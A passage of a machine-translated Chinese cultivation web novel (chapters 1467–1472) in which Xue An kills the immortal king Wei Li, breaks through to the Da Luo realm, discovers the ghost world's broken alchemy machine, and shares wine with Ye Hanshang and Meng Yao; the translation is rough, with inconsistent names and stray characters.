    And if that''s all there is to it, the key is that this lotus is madly absorbing his blood and cultivation.


    Wei Li tried to resist, but it didn''t help.


    For the first time, Wei Li felt such a deep fear of death.


    That''s why he would abandon all his face and beg for mercy frantically, just to survive.


    "Ouuuuuu, Master Xue! Please let me go. I am willing to pay my soul contract and become your most loyal servant. I only ask you to let me go!" Wei Li''s words were already crying.


    The conditions he offered were also extremely seductive.


    That''s a powerful immortal king!


    If you really become Xue An''s slave, it would be a precedent among the heavens.


    At least Ye Hanshang couldn''t help but feel a little moved.


    But Xue An was not moved at all just watched quietly. It was not until a long while later that Xue An smiled coldly, "Be my servant...Are you worthy?"


    The arrogance of this made Wei Li couldn''t help but lose his voice, and then screamed frantically again.


    "Xue An, you bastard, even if I die, I won''t make you wish! Remember, you will die in the darkness!"


    This is the curse issued by Wei Li exhausting his final strength.


    But as far as Xue An is concerned, Wei Li''s curse is like a breeze, without arousing any waves at all.


    "The evil gods in Paradise Lost in the dark will not let you go!" Wei Li roared angrily.


    "Dark Paradise Lost... Ha ha!" Xue An whispered softly, a cold light flashed in his eyes.


    He remembered a lot of the dark paradise lost old acquaintance he had met when he was an immortal, but more... still remembered that because of the awakening of the dark physique on the earth, he was led to paradise lost by the power of darkness. Fan Mengxue.


    I don''t know, how is she doing now!

 Chapter 1467： Promotion, the realm of Da Luo

    Unexpectedly, this cause and effect went round and round, and finally got involved in the dark paradise lost.


    Thinking of this, Xue An sighed lightly, then waved casually.


    With this wave of him, the lotus flower that was swaying slightly on the coffin quivered slightly, and then slowly bloomed.


    As the flowers bloomed, Wei Li''s desperate scream came from the coffin.


    "Do not����."


    But this scream only lasted for a short time, even if it stopped abruptly.


    At the same time, the lotus flower was also completely in full bloom.


    But seeing thin black lines faintly appear on the red and white lotus petals, like the sky, exuding a weird and powerful aura.


    But other than that, Lotus hasn''t changed in any way, and even its body shape hasn''t increased at all.


    Ye Hanchang gradually widened his eyes.


    Because in his perception, Wei Li''s breath no longer exists.


    This can only prove one thing, that is, Wei Li has fallen.


    But after absorbing an immortal king-level powerhouse, does this lotus only change so much?


    This is too unbelievable!


    at the same time.


    As soon as Xue An waved, the lotus flower converged its rhizome, and the eroded coffin was exposed to the air and instantly turned into dust.


    Then the lotus flower floated and flew into Xue An''s palm, slowly rotating, reflecting a strange light.


    Ye Hanshang leaned over and asked curiously: "Old Xue, that''s okay! This is your magic fire! It''s much stronger than before!"


    With that said, he actually stretched out his hand to touch it.


    Xue An said lightly: "If you don''t want to be absorbed like Wei Li, then you can touch it!"


    These words made Ye Hanchang withdraw his hand in an instant, and said with a smile: "Haha, let''s forget it!"


    "Protect me!"


    With that, Xue An raised his hand, and the lotus floated and flew into the center of his eyebrows.


    boom!


    When the moment of complete integration.


    The aura on Xue An''s body suddenly rose, and then Xue An slowly closed his eyes, and there were countless visions that were transformed by the aura.


    Ye Hanchang took a few steps back, and said in amazement, "Break through the realm?"


    Then Ye Hanshang nodded and whispered softly.


    "Absorbed all the strength of a fairy king, if you don''t break through, it will be a ghost!"


    With that said, Ye Hanchang sat in the void and protected Xue An.


    One day, two days, three days...


    at last!


    By the fourth day, Xue An''s aura became stronger and stronger, and the vision he turned out was even more lifelike, even the persecuting Ye Hanshang couldn''t help but step back a few steps, and then slapped his tongue again and again.


    "What a strong momentum, what realm is this going to break through? Could it be from the half-step Daluo realm straight to the fairy king?"


    As soon as the voice fell, the boiling Qi in Xue An suddenly fell silent, and then crazily converged inward.


    In an instant, everything returned to silence.


    Xue An slowly opened his eyes, and for a moment, there were countless stars in his eyes that were evolving, and it was so profound that it was too deep to look directly.


    "From then on, I am Ronaldo!"


    After saying this, Xue An''s vitality was only completely subdued, and the various visions in his eyes also disappeared.


    Ye Hanchang trembled all over, then slowly exhaled.


    Fortunately, there hasn''t been such a horrible thing as going straight from Banyan Da Luo to the fairy king!


    But even so, Ye Hanshang still felt a deep shock and couldn''t help laughing.


    "Daluo? But how do I think you are better than when I broke through the fairy king?"


    Xue An smiled, "Why? Not convinced? Then should we make gestures now?"


    Ye Hanshang shook his head repeatedly, "Forget it! I''m too lazy to start with a guy like you, you are purely a pervert, you can''t infer it with common sense at all!"


    Then Ye Hanchang looked at the world that had become dull and dull because of Wei Li''s fall, and his expression gradually became awe-inspiring.


    "Old Xue, Wei Li is dead, but this piece of Jiuyou Land has also suffered a lot of damage. If it can''t be solved, the whole ghost world may be implicated. What do you think?"


    Ye Hanchang could naturally feel the withering and wilting of this nine secluded land.


    And here as the origin of the ghost world, if the vitality is cut off, the impact on the entire ghost world will be immeasurable.


    But Ye Hanshang also understood that this Wei Li must be eliminated.


    Not only because of his enmity with himself, but more importantly, the longer he occupies the Nine Nether Lands, the more difficult it will be to eradicate.


    Even after waiting, he might completely refining himself and the Nine Nether Lands into one. At that time, if he wants to destroy him, he can only completely destroy this world.


    So it is the best choice to eliminate it now.


    But the most important thing right now is how to properly resolve the crisis facing the entire ghost world.


    Xue An nodded when he heard the words, "I had expected this a long time ago, and at the same time I also have a not too mature idea in my heart, but does this require your full cooperation?"


    "My cooperation?" Ye Hanshang still didn''t understand what it meant.


    Xue An nodded, then stomped suddenly.


    Click!


    There was a violent shock in the void, and countless cracks began to spread from Xue An''s feet, and eventually extended to the entire world, and then burst into pieces.


    Ye Hanchang was taken aback, "You..."


    He just wanted to ask Xue An what he was doing, and then he was stunned.


    Seeing that the essence of the ghost world gradually appeared in the Jiuyou Heaven and Earth after it was broken.


    What a picture this is!


    I saw a huge and incomparable behemoth erected in the void, with no end in sight.


    This behemoth has a weird shape, but it is extremely delicate.


    However, this thing has obviously been destroyed, as can be seen through the broken shell, among which there are countless extremely delicate gears.


    These gears bite into each other The structure is so complicated that it can be dazzled at a glance.


    It is conceivable that once such a giant machine is in operation, it is a spectacular scene.


    It is a pity that now this machine has obviously been irreversibly damaged, the gears have stopped rotating, and the whole machine has become dull and dull.


    Ye Hanchang looked foolishly, and it was not until a long time later that he uttered a few vulgar words.


    "I*, this is an alchemy creation!"


    Xue An stood still in front of this behemoth, and said calmly: "Do you know?"


    Ye Hanshang nodded, and immediately laughed at himself, "It''s ridiculous that I thought I was the king of the world, but I didn''t realize that the origin of the ghost world was an alchemy!"


    Xue An said calmly: "It''s not to blame you! After all, I only discovered this secret from Wei Li!"


    Ye Hanshang suddenly turned his head and looked at Xue An with piercing eyes, "Old Xue, this alchemy creation has obviously been severely damaged, causing it to stop spinning!"

 Chapter 1468： Alchemy

    "Yeah! That Wei Li connected himself to this alchemy creation, and now that he dies, this alchemy creation has naturally suffered extremely heavy damage!"


    "Then what are you going to do?" Ye Hanshang then asked.


    Xue An smiled, "What am I going to do? Don''t you already have an answer to this question?"


    Ye Hanshang was stunned for a moment, and finally sighed, "Old Xue, I really **** convinced you! No wonder you asked me about the relationship with the alchemy civilization, you already guessed that this scene would happen. right?"


    Xue An smiled so that his eyes narrowed, "Forget it! I just prepared in advance!"


    Ye Hanchang shook his head with a wry smile, then took a deep look at the behemoth in front of him, and said in a deep voice.


    "Old Xue, I''m naturally responsible for this matter, but I haven''t contacted the alchemy civilization for a long time. I don''t know what is going on there now! And..."


    "Such a large and sophisticated alchemy creation cannot be repaired by an ordinary alchemist at all. It is very likely that you will need to find a real master creator to repair it! But how easy is this?"


    When he said this, Ye Hanchang''s expression was a little sad.


    Xue An said indifferently: "How can I know if it will work if I don''t try?"


    Ye Hanchang took a deep look at Xue An, and finally nodded, "Yes! How can I know if I don''t try it!"


    "Let''s go! There is nothing good to see here! After coming out for a few days, the family should also be waiting anxiously, let''s go back!" Xue An said lightly, then turned and left the Nine Nether Lands.


    Ye Hanchang turned his head and glanced at the huge alchemy creation, and whispered softly: "Strange, how do you feel that Old Xue knows more about alchemy civilization than I do?"


    After speaking, Ye Hanshang shook his head and sighed, "I guess it has been calculated again! But I am used to it! Alas!"


    Then he followed closely behind and left the Nine Nether Land.


    And just when Wei Li was destroyed by Xue An, outside the ghost world, in the enclosing magic cave next to the ghost world.


    The originally peaceful world suddenly violently shakes.


    In the old town of sealed demons.


    Now, the seven caves and heavens, including Mingxin Palace and Jinding Pavilion, are all united together, and the new general altar is set up in this small town of demon.


    At this moment, the sword elder of Mingxin Palace is penetrating the sword art that Xue Anlin left when he left.


    When the earth shook, his complexion changed drastically, and he suddenly got up, smashed the wall directly, and flew outside.


    at the same time.


    The brilliance of the Enchanted Town was everywhere, and all the powerhouses of the Seven Great Caves were dispatched, standing on the sky with horror, looking at each other, not knowing what happened.


    "It''s a shock from the ghost world!" Elder Shechem suddenly said.


    "Ghost World? Could it be that what happened to the lord?"


    At this point, everyone''s hearts sank.


    It has been more than a year since Xue An went here, but there was no news, and no one knew what happened in the ghost world.


    So everyone can''t help but feel a little worried.


    Especially Sheng Miaotong''s complexion was extremely pale.


    But at this moment, the entire Enchanted Demon Cavern was originally noisy, and the auras facing each other suddenly began to quiet down.


    It''s as if the enemies of many years have reconciled and released their previous suspicions, and the originally chaotic heaven and earth qi began to recover.


    This vision was slight at first, but soon, all the strong people present felt it.


    What followed is that everyone''s strength has been steadily increasing with the reorganization of Qi.


    This couldn''t help making everyone look at each other. It was not until a long time later that the elder holding the sword let out a sigh of relief and said in a deep voice.


    "You and I should have bothered too much, don''t ask, these visions must be done by adults!"


    This sentence shocked everyone present, and then showed horror.


    If what the sword says is true, doesn''t it mean that the ghost world has been solved by Xue An!


    But... is this really possible?


    When everyone was in doubt, suddenly a monk rushed over and said loudly: "My lord, just captured two human monks who returned from the ghost world. They seem to know the situation inside!"


    "Oh? Then bring it up!"


    After a while, I saw a cultivator leading the pale-faced Wen Lingcui and Song Jingyue to come forward.


    When Wen Lingcui saw so many monks present, and their strengths were all extremely good, a look of horror appeared in his eyes.


    Seeing this with the sword, he couldn''t help taking a step forward, and slowly said: "Girl, don''t be afraid, I''m not a bad person, I just ask you, you come back from the ghost world, do you know where my adult is?"


    "Your lord? What''s his name?" Wen Lingcui said tremblingly.


    Holding the sword slowly said: "My lord''s name is Xue An!"


    "Wow! It''s that young man!" Song Jingyue couldn''t help shouting.


    The sword and the others were all startled, and then there was joy on their faces.


    Sheng Miaotong couldn''t wait to take a few steps forward and asked loudly, "You know your lord?"


    Song Jingyue nodded, "Of course I do! I..."


    "Jingyue!" Wen Lingcui shouted.


    Song Jingyue narrowed her mouth and dared not say anything.


    Wen Lingcui raised her head and looked at everyone, "So you are all subordinates of Master Guizun. If this is the case, then I don''t have to hide it, we naturally recognize Xue An!"


    "Ah! How is the lord now?" Holding the sword couldn''t wait to ask.


    Wen Lingcui secretly breathed a sigh of relief, knowing that he was no longer worried about his life, and couldn''t help but smile.


    "Of course your sire is fine, but the giants in the ghost world will have trouble!"


    Next, Wen Lingcui recounted everything he knew.


    When it was heard that Mingjun was awakening, and Xue An was a god-fire ghost who was equal to Mingjun, the audience was in an uproar.


    Everyone looked at each other, then all smiled bitterly.


    "It seems that the adults have already managed the ghost world without our help!" Holding Jianyan said.


    Sheng Miaotong listened blankly.


    Mingjun, Guizun...


    Which of these nouns is something that she can''t help but to exist Her heart can''t help but sink to the bottom.


    The ghost world naturally didn''t know these things that happened in Feng Mo Dong Tian.


    In fact, the ghost world at this moment is in a brief calm after the **** storm.


    Even these things that happened in Jiuyou Land, the ghost world did not have any perception.


    In fact, it will take a long time for the consequences of the lack of origin of the ghost world to become apparent.


    To put it bluntly, the ghost world is equivalent to a giant, and now the original source is missing as if the giant has lost its breath.


    But relying on the remaining warmth of qi and blood, the entire ghost world can continue to maintain for a while.


    But after this period of time has passed, this ghost world will completely collapse and become a barren land.


    Of course, outsiders don''t know these things.


    In this situation, Xue An and Ye Hanshang returned to Wei''s house.

 Chapter 1469： Immortal King Zhongli

    The Wei family nowadays has become the sacred ghost in the eyes of many ghost world giants. Not to mention a glance, even when the name is mentioned, the whole body will tremble.


    As for Ye Hanshang, it has become an existence that countless people dare not mention in the deepest nightmare.


    Because of this period of time, Ye Hanshang has proven his strength through his unparalleled and decisive means.


    And the throne of Hades, which is formed by the blood of countless giants, is not a joke.


    In the face of such an existence, even the stubborn ghost clan powerhouse must bow his head obediently and dare not make a mistake.


    But if they had a chance to see Ye Hanshang''s current appearance, they would probably drop their jaws directly.


    I saw Ye Hanchang lying on the ground with a smile on his face, while thinking about and thinking about the two little girls on his back, walking around the yard.


    This scene is completely different from the fierceness that Ye Hanchang usually showed.


    Aside from the smile on his face that was almost overflowing, I would say that kneeling on the ground to be a Malaysian is enough to be shocking and inexplicable. I can''t believe my eyes.


    But this is just the beginning.


    Seeing Ye Hanshang raised his head and smiled at the two little girls: "I miss you, you two hurry up, I''m going to fly next!"


    "Okay!" Miss Nian responded in unison, and then grabbed Ye Hanshang''s clothes with excitement.


    Ye Hanchang snorted softly, "Get up!"


    With this sound, he took the two little girls off the ground and flew directly into the sky, and then, like a flying horse, he circled the sky at a very fast speed.


    The two little girls screamed in excitement.


    "Wow, amazing!" Nian Nian exclaimed.


    "Big man, you are awesome!" Thinking about it, he exaggerated.


    Ye Hanshang, who was also having fun, his face collapsed when he heard the words, and then said helplessly: "Think about it, didn''t I tell you before, call me Uncle Ye from now on! Don''t always call me big , Too ugly!"


    "Hehe, but Dad said, if you want us to call you Uncle Ye, you have to give a red envelope! Otherwise, don''t let us change!" Think about it and said with a smile.


    Ye Hanshang: "..."


    Immediately he said with a sad expression: "Okay! Give it! Sometimes I really suspect that your dad is a vampire!"


    "Hey, Xiaoyezi, what nonsense are you talking about when you miss it! I''ve been listening!" Xue An, who was sitting opposite An Yan in the small courtyard and drinking tea, said flatly without raising his head.


    "Little Ye Zi? Old Xue, believe it or not, if you dare to call me like that, I will..." Ye Hanchang stopped and said very excitedly.


    "What about you?" Xue An raised his eyes and glanced at Ye Hanchang, a lotus flower faintly appeared between his eyebrows.


    "I''ll call you eldest brother very happily!" Ye Hanshang smiled very happily (just strange).


    "It''s almost the same!" Xue An smiled slightly.


    Ye Hanchang couldn''t help but slandered in his heart.


    Are you the fairy king or am I the fairy king?


    How does it feel as if I have been suppressed to death!


    Da Luo Jing suppresses the Immortal King Realm. How can it be reasonable?


    Finally, the two little girls were a little tired from playing, and Ye Hanchang carried them back to the courtyard.


    The two little girls ran to An Yan very excitedly, chatting non-stop.


    "Mom, we just flew so high, so high!" Nian Nian said.


    "Yeah! The big guy said he would give us red envelopes!"


    An Yan was a little bit dumbfounded, so she quickly poured a glass of water for the two daughters who were going crazy to drink.


    And here, Xue An looked at Ye Hanshang and smiled faintly, "Little Ye Zi, what red envelopes are you going to give my two daughters?"


    Ye Hanchang chuckled, sat on the stool, took a few big mouthfuls of tea, and then wiped his mouth.


    "In fact, I have prepared the red envelopes for the two nieces a long time ago, and I will give them if you don''t say it!"


    "Haha!" Xue An smiled slightly.


    "Hey, Old Xue, what do you mean?"


    "It''s meaningless! I just smiled innocently, I definitely didn''t mean to laugh at you!" Xue An said lightly.


    Ye Hanchang was so angry that he couldn''t help but pat the table and stood up, shocking An Yan.


    Xue An didn''t even lift his eyelids, but said indifferently: "Huh? What do you stand up for? Do you want to fight?"


    Ye Hanchang trembled all over, and immediately showed a smile, "Hey, of course not, fighting is so boring! Didn''t I give my two nieces a red envelope!"


    As he said, he raised his hand hurriedly, flipped his wrist, and there were two crystal red beads in his palm.


    Seeing these two beads, Xue An couldn''t help being stunned.


    He was just joking with Ye Hanshang, but he didn''t expect that he actually prepared a gift, and it was so precious.


    Sure enough, no matter how old they are, women like jewelry.


    The two little girls can''t avoid this.


    I saw the amazing light in their eyes.


    "Wow! What a beautiful bead!"


    Ye Hanchang smiled slightly, and then very fondly gave the two beads to Think and Nian.


    "Come on, think about this as yours, and think about it as yours!"


    "Thank you big man!" He said seriously after thinking about it.


    "Huh? Still called a big man?"


    "Ah, thank you Uncle Ye!" Xiangxiang and Niannian said in unison.


    Ye Hanshang nodded with a smile on his face, "It''s so good! Come, uncle teaches you how to use these two beads!"


    With that said, Ye Hanshang lightly tapped the palms of the two little girls.


    These two beads are like living things, instantly blending into the palm of the missed hand.


    "Huh! Where did the beads go?" The two little girls were surprised.


    Ye Hanchang smiled, "Don''t worry! Now touch your eyebrows!"


    really!


    At the moment when the beads disappeared from the palm of the missed hand, a drop of red and **** crystal beads appeared between the eyebrows of the two little girls!


    This made the two extremely delicate and lovely little girls instantly add a touch of ethereal spirit.


    Miss Nian very curiously touched the crystal bead between her eyebrows.


    "Wow! It''s amazing!"


    "Yeah! How could it get to the center of my eyebrows?"


    "Because they like cute kids like you the most! And Uncle Ye tells you If you think it looks unsightly, just close your eyes and think about it, and then it will disappear!"


    The two little girls tried Ye Hanshang''s method.


    really!


    The two crystal beads disappeared instantly.


    The two little girls were having fun.


    Seeing this, An Yan couldn''t help but smile and said, "Don''t thank you Uncle Ye!"


    "Thank you Uncle Ye!" Miss Missing said very seriously.


    "No thanks! Are we friends!" Ye Hanshang said dozingly.


    From beginning to end, Anyan''s two little girls didn''t take this crystal bead too seriously.


    Until the three of them returned to Fubao Xiaolou.


    Xue An nodded at Ye Hanchang, and solemnly said, "Thank you!"

 Chapter 1470： 2 drinks? it is good! Drink 2 glasses!

    Ye Hanchang smiled, and then sat down on the stool carelessly, "Okay, do we still need to say thank you? What''s more, my two nieces and I are close to each other, and their uncles called, and I will give them a gift. Small gifts are justified!"


    "If even the absolute guardian power of the fairy king can be called a small gift, then what can be called a big gift among the heavens?" Xue An smiled lightly.


    "Haha! Did you see that?" Ye Hanchang said with a smile.


    Xue An nodded, "Of course I can see it!"


    In fact, from the first sight of the two crystal beads, Xue An knew that Ye Hanshang��s gift was simply too heavy.


    Because where is the crystal bead, it is clearly a treasure that blesses the immortal king''s absolute guardianship!


    This kind of thing, even a strong immortal king like Ye Hanshang, is extremely energy-intensive to produce, and it may even cause his strength to drop rapidly in a short period of time, which shows the cost.


    And it can be seen that it is precious to make the fairy king pay such a huge price.


    That''s why Xue An thanked him so solemnly.


    "Okay, I can''t help you much now. I can only make these two crystal beads as gifts, and I can help you protect these two little girls! After all..."


    Ye Hanchang whispered, "What you have to face next is a dangerous situation that no one can imagine!"


    What Ye Hanchang said was from the bottom of his heart.


    He knew very well that a strong man like Xue An who was once the pinnacle of the heavens must have countless enemies.


    If he is still the immortal respected cultivation base, naturally everything is easy to say.


    But the key is that he is now reborn and returned for various reasons, and his strength is greatly damaged.


    If this news spreads, what Xue An will face is likely to be the coveting and spying of those unborn strong men from the depths of the heavens.


    The danger is self-evident.


    And it''s not over yet, Xue An also came with the mission of investigating the blood feud of the Chinese ethnic group that year.


    Now this clue has involved the paradise lost in the dark forbidden land in the universe, and God knows that there will be some terrifying existence involved in it in the future.


    At that time, what Xue An will have to face will be an unpredictable murderous intent from nowhere.


    The superposition of these two shows the sinister situation Xue An is facing now.


    That''s why Ye Hanshang expended such a huge amount of energy, just to share some pressure for Xue An.


    Xue An knows this naturally, but as Ye Hanshang said, the brothers should not say thank you.


    So he just raised the teacup to signal to Ye Hanchang.


    Ye Hanchang smiled and raised his cup, and the two drank it at the same time.


    After putting down the tea cup, Xue An suddenly smiled and said: "In fact, sometimes I also think, if those enemies who thought I was dead knew that I was born again, I don''t know what kind of expression on his face would be! "


    Ye Hanchang smiled bitterly: "What kind of expression can it be? Naturally, taking advantage of your current strength has not yet recovered, hurry up and kill you and destroy you!"


    Xue An smiled, and suddenly said: "Do you know? Actually, I have never cared about those guys! Because in the last life I was able to dominate the immortals and reach the top, so I can do the same in this life!"


    "To put it bluntly, the so-called Void Masters in the heavens, Immortal Monarch Ling Shi, to me, they are nothing more than chickens and dogs!"


    When he said this, Xue An looked indifferent, but his tone contained extremely powerful confidence.


    "Do you think I am a little arrogant when I say this?" Xue An asked suddenly.


    Ye Hanshang shook his head solemnly, "Of course not! Actually, I think you think so, it''s **** right! I''ve seen the old guys in the depths of the starry sky a long time ago! Let''s **** him together when we get the chance of!"


    "Okay! Fuck him!" Xue An also said with a smile.


    "Damn, the more you talk, the happier! How about... a couple of drinks?" Ye Hanchang said, scratching his head.


    Xue An nodded, "Then have two glasses!"


    "Where to drink?" Ye Hanchang''s eyes turned, his eyes lit up suddenly, and he said excitedly: "Why don''t you go to Meng Yao''s place! She makes a great wine! It just so happens that we won''t be drunk today!"


    Xue An was startled slightly, then nodded and smiled, "Okay!"


    At this point, the two immediately flew up, turning into two imperceptible brilliance and flying towards the sky.


    With the strength of the two of them, the distance from the Wei family to the endless desert is naturally not a problem.


    Oh, yes, it can''t be called endless desert anymore!


    Because here is already overgrown with emerald green plants, it looks very vibrant.


    Desert city.


    Since the desert has undergone such earth-shaking changes, many more merchants have come here, and even the city has become prosperous.


    But Donghan has been a little unhappy recently.


    Because she found out that since she went out for a trip, the host of Meng''s house has changed like a different person, and she has not been in a daze in the back courtyard. She has been busy with winemaking all day, and everything in the city is very small. Hand it over to Donghan.


    This naturally caused Donghan to slander several times.


    Today is no exception.


    After finishing dealing with the affairs in the city, Donghan came to the back and wanted to discuss several important matters with Meng Yao.


    But as soon as he crossed the threshold, Donghan smelled a strong scent of wine, and the mellow aroma made Donghan so drunk.


    And when I walked through the veranda, I saw that Meng Yao was fiddling with something in the wine cellar of the side hall!


    "Hall Master!" Donghan shouted.


    Meng Yao didn''t lift her head, "What''s the matter?"


    "That''s it. Recently, the number of merchants in the city has increased. I am going to expand it..."


    "Okay, you can make your own decisions about things in the city, you don''t need to discuss it with me!"


    "but����."


    But before Donghan could finish his words, he saw two Guanghua flying over the desert city with lightning speed.


    After feeling these two energies, Meng Yao, who was already busy, was shocked. When she raised her head and took a look, her face showed ecstasy, and then took a deep breath.


    "Winter cold!"


    "Ok?"


    "Hurry up and prepare the hall and exquisite dishes... Forget it I will do it later, you should go and prepare a clean hall!"


    "What are you doing?" Donghan hesitated.


    "Because a very distinguished guest is coming!"


    As soon as the voice fell, Xue An and Ye Hanshang had already fallen in the courtyard.


    Meng Yao burst into a bright smile and said, "I have seen Mingjun, I have seen...sir!"


    "Dianzhu Meng, I''m sorry, we two came here uninvited today, just to ask you for a drink, don''t you know it?" Ye Hanshang said with a smile.


    Meng Yao smiled happily, "Of course, please come in!"


    Speaking of Meng Yao, he said to Donghan who had been frightened stupidly: "Don''t go down and prepare!"


    "Ah! Yes, yes!"


    Donghan replied, turned around and ran out, at the same time his heart was full of heat.

 Chapter 1471： Some things, how can one glass of wine forget...

    Mingjun and Master Guizun came to the desert city at the same time, this...If this news spreads, I don''t know how many people''s eyes will be shocked.


    No wonder the Lord has been busy making wine recently, it turns out that she knew Mingjun and them would come!


    But is that white-clothed young man the Ghost Lord that the Lord has been thinking of unforgettable?


    Looks so young!


    Donghan was full of random thoughts in his mind, and then quickly cleared out a clean hall.


    After the two of them sat down, Meng Yao said with a smile: "You two wait a moment, I''ll go and pack some wine and vegetables!"


    "Thank you!" Ye Hanshang smiled and nodded.


    "My lord is too polite! It will be done soon!"


    After speaking, Meng Yao turned around and went out to clean up.


    After Xue An and Ye Hanshang were left in the room, Ye Hanshang smiled at Xue An.


    "What are you laughing at?" Xue An couldn''t help asking.


    "Hey, you haven''t even said a word since then, are you a little guilty?"


    "A guilty conscience? Why should I have a guilty conscience? If I have a guilty conscience, it would be nice not to come at all!"


    "Then why don''t you speak? Didn''t you [800 Novel] see the eyes of the Lord Meng always on you?"


    "Are you here to drink or to talk more?" Xue An glanced at Ye Han Chang.


    Ye Hanchang immediately closed his mouth.


    at the same time.


    Meng Yao came in with a few exquisite dishes to go with, and at the same time brought a jar of wine.


    Upon seeing this, Ye Hanshang couldn''t help but said, "Just a jar of wine?"


    Meng Yao smiled and said, "Master Mingjun, this jar of wine is a new wine that I have just developed recently. It is very strong, and it is a bit more powerful than the drunk predecessor, so this jar of wine is probably not enough!"


    Ye Hanshang curled his lips, "I don''t believe it! What is the name of your new wine?"


    "Forget the dust!" Meng Yao said softly, but Yingying looked at Xue An on the side.


    Xue An was silent for a moment, then smiled and pushed the cup forward.


    "In that case, let''s taste what kind of forgetfulness today!"


    The wine is like amber, and its fragrance is tangy.


    After being poured into the bowl, people are already three-thirds drunk before drinking it.


    There were two people sitting at the table, but Meng Yao filled three bowls, then raised a cup and smiled at Xue An.


    "My lord, this cup, I respect you!"


    Xue An picked up his cup and just wanted to talk.


    Meng Yao had already drank all the wine in the bowl.


    Upon seeing this, Xue An sighed slightly, and then drank the cup.


    When the wine entered the throat, it seemed like a line of fire rushed straight into the heart, and even Xue An couldn''t help but shook slightly.


    "Sure enough, good wine!" Xue An put down the wine bowl and couldn''t help but exclaimed.


    Ye Hanchang asked, "Really? Then I will try it too!"


    After speaking, he could not wait to drank the wine in the glass, and then slapped his taste.


    "Really good!"


    At this moment, Meng Yao nodded slightly at the two of them, "Two adults, let''s talk! I''m going out first!"


    After speaking, she turned and left the room, closing the door.


    After she left, Xue An and Ye Hanshang looked at each other.


    "Old Xue, the name of this wine has a lot of meaning!" Ye Hanchang sighed lightly.


    Xue An smiled slightly, refilled the glass of wine, and then faintly said: "For some souls who are suffering from memories, if this wine can really forget the past, then even if it is poison, it is estimated that some people will not Hesitate to drink it!"


    Ye Hanchang trembled slightly, and the smile on his face gradually subsided, then he also raised his cup and said lightly: "Yes! I hope this drunkenness can really forget a lot!"


    at the same time.


    In a flower hall outside, Meng Yao, who was leaning against a pillar in a daze, heard the conversation in the room, grinned, and laughed silently because of the rush of alcohol.


    She knew that these words should have been deliberately told to her by Xue An.


    But how can some things be forgotten with a simple glass of wine?


    Xue An and Ye Hanshang drank this wine for three days and three nights, and in the end they could not finish the jar of wine.


    Of course, this is also because this wine jar is a special magic weapon, it does not look big, but there is a cave inside.


    Although he didn''t finish the wine in the jar in the end, Ye Hanchang was completely drunk.


    Drunk and unconscious, can only talk nonsense on the table.


    Xue An was sitting opposite, but the whole person was not at all drunk, and even the more he drank, the more sober his eyes were so clear.


    "Old...Old Xue...I''m the most fortunate in my mother''s life...fortunate to know you brother!" Ye Hanshang said with a big tongue.


    Xue An nodded, "Me too!"


    Then stepped forward to help him up.


    "You are drunk! Let''s go!"


    "I...I''m not drunk! Old Xue, do you know how uncomfortable I am now? I...I liked a woman before, and I promised to marry her, but when I went back to find her, she Already married as a woman! Uuuuuu..."


    Ye Hanshang was really drunk, and actually said all these things that had never been mentioned to outsiders, and cried bitterly.


    Xue An sighed lightly. Of course he knew that Ye Hanshang had something in his heart, and he was probably trapped by love, but he didn''t expect it to be such a **** bridge.


    "Old Xue, do you know how much I envy you! Even though you have lost your cultivation, you have recovered your wife and children! So you must be good, and you must cherish it!" Ye Hanshang began Talk about it endlessly.


    Xue An nodded, "I know! Don''t worry! And you are too tired, let''s sleep for a while!"


    With that, the brilliance flashed in Xue An''s eyes, and Ye Hanchang fainted with the surging spirit.


    Then Xue An helped Ye Hanchang to walk outside the courtyard.


    Meng Yao never left, so when she saw Xue An helping Ye Hanshang out of the house, she greeted him.


    "grown ups����."


    Xue An nodded, "Yao''er, thank you for your hospitality, now Ye Hanshang is already drunk and unconscious, I have to send him back!"


    Meng Yao''s face turned pale, and she smiled calmly, "Hmm!"


    Xue An assisted Ye Hanchang and was about to fly up. At this moment, Meng Yao asked with a crying voice: "My lord, I don''t want to forget Qianchen!


    Xue An was startled, then without turning his head back, he chuckled and said, "Okay! If you don''t want to forget, then don''t forget!"


    "Will you still drink my wine from now on?" Meng Yao stepped forward asked with piercing eyes.


    Xue An turned to look at Meng Yao, then smiled and nodded, "Of course!"


    Meng Yao smiled, "Then I wish you all the best!"


    Xue An smiled, then flew up and disappeared into the sky in a flash.


    Meng Yao stood there blankly and did not speak for a long time.


    "Hall Master, Master Guizun, they have already left!" Donghan couldn''t help saying.


    Meng Yao shuddered suddenly, regaining consciousness, then took a deep look at Tian Tian before turning around and leaving.


    "Hall Lord, what are you going to do?" Donghan asked with some surprise.


    "Brewing!"


    "Brewing?"


    "Yes! Making wine stronger than forgetting Qianchen!" Meng Yao said without looking back.

 Chapter 1472： Alchemy Cube, leaving the ghost world

    Soon, Xue An returned to Wei''s house with Ye Hanshang, who was so drunk.


    An Yan, who was talking to Wei Qingxiao, stood up in surprise when she saw this, "Husband, what''s wrong with him?"


    Wei Qingxiao hurriedly greeted him.


    Xue An handed Ye Hanshang to Wei Qingxiao, and then smiled, "It''s okay, he is just drunk! Just sleep!"


    Wei Qing laughed and let out a sigh of relief, and then he helped Ye Hanshang back into the house and settled him down properly.


    An Yan said a little angrily: "Oh, why did you drink until now and come back? And also poured Brother Xiaoye like this?"


    Xue An smiled, took An Yan in his arms, and whispered: "It''s not that I want to irrigate him. In fact, he is the immortal king''s cultivation base. How can he get drunk so easily? This time he took the initiative. drunk!"


    "Get drunk actively?"


    "Yes! Everyone has things that cannot be touched in their hearts, and he should be the same!" Xue Anyou sighed quietly.


    "What about you?" An Yan suddenly raised his head in Xue An''s arms, looked at him with bright eyes, and asked softly.


    "Me?" Xue An chuckled, then stretched out his hand to mess An Yan''s long hair, and said in a low tone, "Do you know? Before I found you again and missed you, I had more than three thousand years. Drunk once!"


    An Yan listened quietly, tears gradually appeared in her eyes, because she understood what Xue An meant.


    "But now I will never be drunk again, because I have found all the untouchable things in my heart, and...I will never lose it again!"


    Ye Hanchang''s drunkenness lasted three days before he woke up.


    When he opened his eyes and looked at the ceiling above his head, he was dumbfounded for an hour before he gradually recalled what had happened before.


    Talk in the courtyard, head to the desert city, forget the past, get drunk...


    These things passed through Ye Hanshang''s mind like a revolving lantern.


    suddenly.


    Ye Hanchang jumped out of the bed as if he had been electrocuted, and then ran out without even putting on his shoes.


    But as soon as he left the house, he saw Xue An sitting on the stone bench under the big tree in the courtyard, with a teapot exuding steam in front of him.


    Xue An smiled slightly when he saw Ye Hanshang coming out of the door, "Wake up? Come, have a cup of tea to wake up to the bar!"


    The astonishment on Ye Hanchang''s face gradually reduced, and then rushed forward, staring at Xue An.


